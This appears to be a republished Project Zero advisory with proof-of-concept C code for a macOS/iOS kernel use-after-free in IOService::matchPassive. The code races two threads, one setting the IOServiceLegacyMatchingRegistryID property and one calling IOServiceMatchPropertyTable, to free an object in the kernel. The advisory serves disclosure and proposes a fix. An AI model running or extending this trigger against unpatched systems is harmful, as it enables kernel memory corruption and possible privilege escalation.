扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 |
/* Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=973 IOService::matchPassive is called when trying to match a request dictionary against a candidate IOService. We can call this function on a controlled IOService with a controlled matching table OSDictionary via the io_service_match_property_table_* kernel MIG APIs wrapped by IOServiceMatchPropertyTable. If a candidate IOService does match against the dictionary but the dictionary also specifies an "IOParentMatch" key then we reach the following code (in IOService.cpp:) OSNumber* alternateRegistryID = OSDynamicCast(OSNumber, where->getProperty(kIOServiceLegacyMatchingRegistryIDKey)); if(alternateRegistryID != NULL) { if(aliasServiceRegIds == NULL) { aliasServiceRegIds = OSArray::withCapacity(sizeof(alternateRegistryID)); } aliasServiceRegIds->setObject(alternateRegistryID); } ("where" is the controlled IOService.) getProperty is an IORegistryEntry API which directly calls the getObject method of the OSDictionary holding the entry's properties. getProperty, unlike copyProperty, doesn't take a reference on the value of the property which means that there is a short window between where->getProperty(kIOServiceLegacyMatchingRegistryIDKey) and aliasServiceRegIds->setObject(alternateRegistryID) when if another thread sets a new value for the IOService's "IOServiceLegacyMatchingRegistryID" registry property the alternateRegistryID OSNumber can be freed. This race condition can be won quite easily and can lead to a virtual call being performed on a free'd object. On MacOS IOBluetoothHCIController is one of a number of IOServices which allow an unprivileged user to set the IOServiceLegacyMatchingRegistryID property. One approach to fixing this bug would be to call copyProperty instead and drop the ref on the property after adding it to the aliasServiceRegIds array. Tested on MacOS Sierra 10.12.1 (16B2555) */ // ianbeer // clang -o iorace iorace.c -framework IOKit -framework CoreFoundation && sync #if 0 MacOS/iOS kernel use after free due to failure to take reference in IOService::matchPassive IOService::matchPassive is called when trying to match a request dictionary against a candidate IOService. We can call this function on a controlled IOService with a controlled matching table OSDictionary via the io_service_match_property_table_* kernel MIG APIs wrapped by IOServiceMatchPropertyTable. If a candidate IOService does match against the dictionary but the dictionary also specifies an "IOParentMatch" key then we reach the following code (in IOService.cpp:) OSNumber* alternateRegistryID = OSDynamicCast(OSNumber, where->getProperty(kIOServiceLegacyMatchingRegistryIDKey)); if(alternateRegistryID != NULL) { if(aliasServiceRegIds == NULL) { aliasServiceRegIds = OSArray::withCapacity(sizeof(alternateRegistryID)); } aliasServiceRegIds->setObject(alternateRegistryID); } ("where" is the controlled IOService.) getProperty is an IORegistryEntry API which directly calls the getObject method of the OSDictionary holding the entry's properties. getProperty, unlike copyProperty, doesn't take a reference on the value of the property which means that there is a short window between where->getProperty(kIOServiceLegacyMatchingRegistryIDKey) and aliasServiceRegIds->setObject(alternateRegistryID) when if another thread sets a new value for the IOService's "IOServiceLegacyMatchingRegistryID" registry property the alternateRegistryID OSNumber can be freed. This race condition can be won quite easily and can lead to a virtual call being performed on a free'd object. On MacOS IOBluetoothHCIController is one of a number of IOServices which allow an unprivileged user to set the IOServiceLegacyMatchingRegistryID property. One approach to fixing this bug would be to call copyProperty instead and drop the ref on the property after adding it to the aliasServiceRegIds array. Tested on MacOS Sierra 10.12.1 (16B2555) #endif #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #include <pthread.h> #include <mach/mach.h> #include <mach/mach_vm.h> #include <IOKit/IOKitLib.h> #include <CoreFoundation/CoreFoundation.h> io_service_t service = MACH_PORT_NULL; void* setter(void* arg) { char number = 1; CFNumberRef num = CFNumberCreate(kCFAllocatorDefault, kCFNumberCharType, &number); while(1) { kern_return_t err; err = IORegistryEntrySetCFProperty( service, CFSTR("IOServiceLegacyMatchingRegistryID"), num); if (err != KERN_SUCCESS){ printf("setProperty failed\n"); return NULL; } } return NULL; } int main(){ kern_return_t err; service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOBluetoothHCIController")); if (service == IO_OBJECT_NULL){ printf("unable to find service\n"); return 0; } printf("got service: %x\n", service); pthread_t thread; pthread_create(&thread, NULL, setter, NULL); CFMutableDictionaryRefdict2; dict2 = CFDictionaryCreateMutable(kCFAllocatorDefault, 0, &kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks); CFDictionarySetValue(dict2, CFSTR("key"), CFSTR("value")); CFMutableDictionaryRefdict; dict = CFDictionaryCreateMutable(kCFAllocatorDefault, 0, &kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks); CFDictionarySetValue(dict, CFSTR("IOProviderClass"), CFSTR("IOService")); CFDictionarySetValue(dict, CFSTR("IOResourceMatch"), CFSTR("IOBSD")); CFDictionarySetValue(dict, CFSTR("IOParentMatch"), dict2); while(1) { boolean_t match = 0; err = IOServiceMatchPropertyTable(service, dict, &match); if (err != KERN_SUCCESS){ printf("no matches\n"); } } pthread_join(thread, NULL); return 0; } |
体验盒子
